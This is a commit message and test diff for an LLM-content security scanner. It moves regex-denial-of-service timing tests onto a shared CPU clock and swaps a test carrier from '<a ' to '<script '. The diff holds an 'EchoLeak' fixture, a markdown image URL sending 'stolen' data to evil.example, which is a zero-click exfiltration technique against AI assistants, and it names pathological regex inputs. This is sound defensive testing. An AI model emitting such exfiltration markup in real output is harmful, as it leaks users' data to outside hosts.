test(redos): one CPU clock for every bound, and a second row measured dead

`5667063` moved test_output.py's ReDoS bounds off the wall clock, because a
loaded machine steals wall seconds without adding any cycles and two rows
failed at 2.24s / 3.66s against a 2.0s bound while census had the CPU. The
remaining ten bounds in five other files still ran on `time.monotonic()` and
carried the same defect. They now share ONE clock.

The clock is IMPORTED, not copied: `tests/redos_clock.py`. Five private copies
would leave four of them unpinned -- the instrument test
(test_the_redos_clock_ignores_time_this_process_did_not_spend) can only pin the
implementation it calls, and the suite already holds that rule for the code it
measures.

Every ported row was verified the only way a time bound can be: the vulnerable
form patched back in, red demanded, `git checkout --` after. Measured against
the 2.0s bound (3.0s for the url arm):

  active_content long-attr   `{0,63}` -> `*`        RED
  neutralize     long-attr   same patch             RED
  output gate    long-attr   same patch             12.41s
  okf link graph  `[^\]\[]` -> `[^\]]`               6.91s
  sanitize comment  str.find -> `<!--.*?-->`        17.56s
  lexicon md-link-anchor-text                      319.14s
  lexicon md-link-anchor-url                         8.55s
  lexicon md-link-ref-comment                       37.82s

Two rows did not go red, for two different reasons.

test_sanitize.py::test_legitimate_comment_heavy_document is the legitimate SIDE
of a separation, not a second pin on the defect: closed comments never withhold
the required literal, so the lazy form runs it in 0.016s. Recorded in place.

test_lexicon.py::test_redos_pathological_subagent_input_returns_fast is DEAD --
the same zero-signal shape the `<a ` carrier had, found by the same method. The
seed form is `(?:.*?\s+)?` (llm-security 7.8.0, injection-patterns.mjs:84) and
this repo has never carried it: the bounded `{0,12}?` port is in the pattern
table's first commit. Patched in by hand at the row's own size: shipped 0.135s
vs seed 0.113s, separation 1.2x. Not the keyword gate either -- a variant that
reaches the inner branch stays linear over four doublings (exponent ~1.0),
because the nesting is one lazy run inside an OPTIONAL group, never a repeated
one. Left standing with the measurement written into it; picking a new carrier
is an operator call, like the wall-clock row above it.

The dead sibling row named in STATE is fixed: test_active_content.py's
long-attribute row swaps carrier `<a ` -> `<script `, for the reason `5667063`
established on its composed-gate twin -- 0.7.0's own no-URL narrowing put `<a>`
in `_URL_AFFORDANCE_TAGS`, so the tag returns inert BEFORE its body reaches the
arm the row guards. Re-measured here, not inherited: `<a ` 0.041s and NO
findings against the vulnerable form; `<script ` 19.349s against 0.052s
shipped, 373x apart.

`test_pathological_input_returns_within_a_bound` deliberately keeps its wall
clock (operator decision): it claims to catch a hang, and only a wall clock
catches one.

792 tests, 129/129, 6/6.

tests/test_active_content.py

@@ -18,8 +18,6 @@ from __future__ import annotations
 
 import pytest
 
-import time
-
 from llm_ingestion_guard import (
     scan_active_content,
     scan_output,
@@ -29,6 +27,7 @@ from llm_ingestion_guard import (
 )
 from llm_ingestion_guard.okf import import_bundle, Origin, Channel
 from llm_ingestion_guard.report import Severity, Source
+from redos_clock import scan_seconds
 
 # The zero-click EchoLeak primitive: an auto-fetched markdown image URL.
 _ECHOLEAK = "![x](https://evil.example/leak?d=stolen)"
@@ -447,10 +446,25 @@ _ATTR_REDOS_N = 100_000
 
 
 def test_crafted_long_attribute_tag_stays_bounded():
-    payload = "<a " + "A" * _ATTR_REDOS_N + ">"
-    start = time.monotonic()
-    scan_active_content(payload)
-    assert time.monotonic() - start < 2.0
+    # The carrier is `<script `, not the `<a ` this row shipped with through
+    # 0.7.0, because 0.7.0's own no-URL narrowing killed the row: `<a>` is in
+    # `_URL_AFFORDANCE_TAGS`, so a bare `<a ...>` carrying no URL attribute is
+    # inert and returns BEFORE its body reaches `URL_IN_TEXT_RE` — the arm this
+    # row exists to guard. Re-measured here with the pre-fix uncapped scheme run
+    # patched back in, at _ATTR_REDOS_N through `scan_active_content`:
+    #
+    #     <a ...>       0.041s and NO findings   <- dead: never reaches the arm
+    #     <script ...> 19.349s and one finding   <- the arm, still quadratic
+    #
+    # So the `<a ` row was green against the vulnerable form — separation 1.2x,
+    # zero signal. With `<script ` it is 0.052s shipped vs 19.349s vulnerable,
+    # 373x apart, with the bound 38x above the shipped side. `<script>` is the
+    # durable carrier: active by NAME with no attributes at all, so no future
+    # URL-shaped narrowing can make it inert the way it just did to `<a >`.
+    # Same fix, same reason, as test_output.py::test_gate_is_bounded_on_the_
+    # long_attribute_arm — the composed-gate twin of this row.
+    payload = "<script " + "A" * _ATTR_REDOS_N + ">"
+    assert scan_seconds(scan_active_content, payload) < 2.0
 
 
 def test_url_defanging_survives_the_redos_fix():